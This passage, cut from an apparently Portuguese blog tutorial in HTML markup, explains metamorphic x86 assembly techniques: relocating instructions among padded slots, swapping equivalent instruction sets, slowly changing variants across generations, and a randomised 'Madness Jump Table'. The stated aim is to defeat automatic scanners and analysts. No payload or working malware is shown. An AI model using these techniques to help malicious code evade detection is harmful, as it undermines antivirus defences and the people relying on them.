&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;XXXXXXX&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Começando a entender meu ponto? Imagine que você tem 10 valores para fazer metaformose em torno do código, cada um tendo 10 lugares possíveis e cada um sendo acessado cerca de 3 vezes, necessariamente e outras 7 virão lixo&amp;hellip; Você sabe quantas gerações uma pessoa deve gerar para entender o que é o significado real do código e quão difícil seria localizar os valores necessários para analisar?&lt;/p&gt;
&lt;h3 id=&#34;a-modificação-de-instrução&#34;&gt;A modificação de instrução&lt;/h3&gt;
&lt;p&gt;Isso é um pouco complicado e você precisa aprender um pouco sobre a extensão de instruções. Não é muito difícil, mas você terá que criá-lo testando-o várias vezes em um debbuger. Lembre-se de que aqui você não está gerando um descriptografador polimórfico (onde você tem um buffer vazio e pode preenchê-lo), mas está trabalhando em um código compilado que tem um tamanho definitivo e links por toda parte. A ideia é modificar uma determinada instrução para que não seja facilmente localizada.&lt;/p&gt;
&lt;p&gt;Primeira etapa: realocação de instrução&lt;/p&gt;
&lt;p&gt;Para isso, você precisará economizar espaço em diferentes partes do seu código e elas devem se parecer de alguma forma com uma sub-rotina:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;place1&lt;/span&gt;  &lt;span class=&#34;no&#34;&gt;proc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nf&#34;&gt;space1&lt;/span&gt;  &lt;span class=&#34;no&#34;&gt;db&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dup&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0x90&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; isso vai repetir 20x &amp;#34;0x90&amp;#34;(a instrução nop)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;        &lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;place1&lt;/span&gt;  &lt;span class=&#34;no&#34;&gt;endp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Você pode ter, digamos, cerca de 10 lugares para cada parte do código metamórfico. Sempre que esta instrução for chamada, você deverá providenciar a chamada para ela. Imagine para o acima:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt;    &lt;span class=&#34;no&#34;&gt;place1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;place1&lt;/span&gt;  &lt;span class=&#34;no&#34;&gt;proc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;     &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;OldEip1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;place1&lt;/span&gt;  &lt;span class=&#34;no&#34;&gt;endp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora, se o seu gerador aleatório decidir que o código deve ser &amp;ldquo;metamorfizado&amp;rdquo; em outro place(digamos, place2), tudo o que ele precisará fazer é mover a instrução para lá e modificar também a chamada para ler &lt;code&gt;call place2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Esta é a primeira ideia: sua instrução pode vagar pelo código. Pense que você pode ter, digamos, 15 lugares como esse e 10 ou mais instruções para usar metamorfose. Seu gerador de números aleatórios escolherá um lugar para cada um e você ainda terá algum para preencher com lixo.&lt;/p&gt;
&lt;p&gt;Segunda etapa: mutação real do código&lt;/p&gt;
&lt;p&gt;Aqui você precisa cuidar da duração da instrução. Como você notou, eu escolhi aleatoriamente o tamanho de um local para 20 bytes (aliás: você pode ter tamanhos diferentes). Isso significa que você não pode colocar uma instrução ou grupo de instruções com mais de 20 bytes, caso contrário, eles sobrescreverão o código a seguir.&lt;/p&gt;
&lt;p&gt;Vamos voltar às nossas instruções aqui:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;i1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;mov&lt;/span&gt;	&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;Oldeip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Deixe-me ser criativo e criar outros grupos de instrução que façam a mesma coisa:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;i2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;push&lt;/span&gt;	&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;Oldeip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;pop&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;i3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;push&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;lea&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;Oldeip&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;add&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;	&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;pop&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;i3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;push&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;lea&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;Oldeip-1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;inc&lt;/span&gt;	&lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;pop&lt;/span&gt;	&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora, seu gerador de números aleatórios escolherá uma das instruções acima e simplesmente preencherá seu lugar. O que isso traz? Isso torna ainda mais difícil para o scanner automático (desde que ele possa pesquisar todos os lugares) saber a qual endereço você está endereçando (oldEip1, 2, etc&amp;hellip;).&lt;/p&gt;
&lt;h2 id=&#34;resumo&#34;&gt;Resumo&lt;/h2&gt;
&lt;p&gt;Por enquanto, vamos fazer uma pausa e ver o que tudo isso pode gerar:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;                              ┌─────────────┐
                              │ call placeX │
                              └──────┬──────┘
     ┌───────┬───────┬───────┬───────┼───────┬───────┬───────┬───────┐
     │       │       │       │       │       │       │       │       │
 ┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐
 │place1││place2││place3││place4││place5││place6││place7││place8││place9│
 └───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘└───┬──┘
     └───────┴───────┴───────┴───────┼───────┴───────┴───────┴───────┘
          ┌────────────────┬─────────┴───────┬─────────────────┐
   ┌──────┴────────┐┌──────┴────────┐┌───────┴───────┐┌────────┴──────┐
   │  i1           ││  i2           ││  i3           ││  i4           │
   └──────┬────────┘└──────┬────────┘└───────┬───────┘└────────┬──────┘
          └────────────────┴─────────┬───────┴─────────────────┘
            ┌───────────┬────────────┼───────────┬───────────┐
       ┌────┴─────┐┌────┴─────┐┌─────┴────┐┌─────┴────┐┌─────┴────┐
       │ Address1 ││ Address2 ││ Address3 ││ Address4 ││ Address5 │
       └──────────┘└──────────┘└──────────┘└──────────┘└──────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Basicamente, qualquer rota descendente pode ser gerada pelo processo metamórfico (por exemplo, chamada para place5, com conjunto de instruções i1 que acessa o endereço Address5). Quase todos os lugares e endereços devem ser usados, cada um para uma instrução diferente. O conjunto de instruções deve ser mais amplo porque, para instruções diferentes, devemos fazer metamorfose no código específico. Mas os locais e os endereços podem ser comuns a todas as instruções.&lt;/p&gt;
&lt;p&gt;Claro, não preciso dizer que o endereço dos locais e dos endereços deve ser o mais mutilado possível dentro do código real.&lt;/p&gt;
&lt;h2 id=&#34;avançado&#34;&gt;Avançado&lt;/h2&gt;
&lt;p&gt;Agora, vamos avançar para uma coisa mais profunda. Imagine que existe uma pessoa realmente &lt;strong&gt;masoquista&lt;/strong&gt;(eu teria medo desse ser humano) que percebeu a forma como seu código se comporta e quer encontrar todos os endereços onde seu código armazena o EIP.&lt;br&gt;
Ele poderia gerar, por exemplo, 500 amostras do seu código e ter 10 pessoas para analisá-los.&lt;br&gt;
Não seria muito difícil, bastaria uma tabela a ser preenchida com os deslocamentos dos lugares, endereços e onde buscar o endereço dentro da instrução. Você acha que todas as situações seriam encontradas em tantas gerações? Claro, se você não usar um metamorfismo lento e inteligente.&lt;br&gt;
Esse tipo de metamorfismo lento significaria o seguinte: cada uma das três variáveis ​​(local, endereço e conjunto de instruções) deveria ser alterada em momentos diferentes, uma vez que um contador ultrapassasse o valor 20. Então, a cada 20 gerações o lugar mudava. A cada 20 gerações o endereço muda, etc.&lt;br&gt;
Isso nos garante que em pelo menos 20 gerações algo não mudaria. Isso significa que para obter todas as 10 possibilidades para o local, pelo menos 200 gerações devem ser criadas e toda vez que o número aleatório deve gerar um número diferente&amp;hellip; o que é quase impossível. 200+ 200+ 200, isso significa 600 gerações e com a suposição de que o randomizador gere exatamente o que você deseja.&lt;br&gt;
Acho que em 6.000 gerações, as condições dificilmente serão atendidas. Analisar 6.000 gerações é&amp;hellip; bem, pelo menos suicida&amp;hellip;&lt;/p&gt;
&lt;p&gt;Para adicionar ainda mais complexidade a isso, pode-se usar uma invenção que conheci com o nome de&lt;br&gt;
&lt;code&gt;&amp;quot;Madness Jump Table&amp;quot;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vamos supor que você fez seu código metamorfosear(sim, essa palavra existe, olha &lt;a class=&#34;link&#34; href=&#34;https://www.dicio.com.br/metamorfosear/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;aqui&lt;/a&gt;) a instrução:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;OldEip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;em um &lt;code&gt;call local&lt;/code&gt;, com todos os links apresentados acima. E vamos imaginar que essa instrução aparecerá 5 vezes em seu código (talvez algumas vezes apenas como isca). Não seria muito bom escreve-la todas as vezes por uma chamada para local. O uso de uma &amp;ldquo;Madness Jump Table&amp;rdquo; resolveria isso.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;instruction1:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;treeEntry1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;instruction2:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;treeEntry2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;instruction3:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;treeEntry3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;instruction4:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;treeEntry4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;instruction5:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;treeEntry5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;treeEntry1:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;treeEntry2:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;treeEntry3:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry13&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;treeEntry4:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry14&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;these&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;are&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;equal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;treeEntry5:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry14&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry11:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry21&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry12:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry13:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry23&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;these&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;are&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;equal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry14:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry23&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry21:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry31&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry22:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry32&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;these&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;are&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;equal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry23:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry32&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry31:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry41&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry32:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;subEntry41&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nl&#34;&gt;subEntry41:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;place&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ok, vamos sequir a instrução 3 como exemplo:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pretreeEntry3-&amp;gt; subEntry13-&amp;gt; subEntry23-&amp;gt; subEntry32-&amp;gt; subEntry41-&amp;gt; place
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Não importa com qual instrução você comece, você acaba no mesmo endereço: place (observe que o &lt;code&gt;call place&lt;/code&gt; foi substituído por um &lt;code&gt;jmp place&lt;/code&gt;, porque a chamada já foi feita desde o início e não queremos dois endereços na stack)&lt;/p&gt;
&lt;p&gt;Agora, por favor, olhe atentamente para a tabela acima. Imagine que em cada bloco de árvore você destrói o lado esquerdo (os &lt;code&gt;jumps&lt;/code&gt;) entre eles de forma completamente aleatória. Acontece alguma coisa? Não, porque de qualquer maneira, o traço ainda levará ao mesmo lugar. Mas você terá 5 instruções que irão saltar cada uma através de 6 cada vez que diferentes lugares de salto, cada vez que cheguem a um lugar diferente, onde um conjunto diferente de instruções é aplicado para usar um valor que está armazenado em um lugar diferente, o que é absolutamente necessário para a execução do programa &amp;hellip; Você compilou o que eu acabei de dizer?&lt;/p&gt;
&lt;p&gt;Isso diminuirá a velocidade do seu código? Nem um pouco &amp;hellip; Vai aumentar o tamanho. Claro, um pouco, mas não tanto. 20 saltos e chamadas no total significam 100 bytes, mais 20 bytes por conjunto de instruções (desde que tenhamos 10 conjuntos de instruções), dá outros 200. Portanto, um total de 300 bytes adicionados ao seu código como lado funcional. Além disso, o lugar adicional foi ocupado pelo armazenamento de endereços e armazenamento de conjuntos de instruções.&lt;/p&gt;
&lt;p&gt;Claro, como eu disse, o metamorfismo só deve ser usado em lugares onde você realmente precisa tornar os dados difíceis de serem compreendidos e alcançados, porque muito metamorfismo pode levar a executáveis ​​enormes e nenhuma substância real, para não mencionar o seu trabalho inútil adicional.&lt;/p&gt;
&lt;h2 id=&#34;aplicando-isso&#34;&gt;Aplicando isso&lt;/h2&gt;
&lt;p&gt;Onde aplicar?&lt;/p&gt;
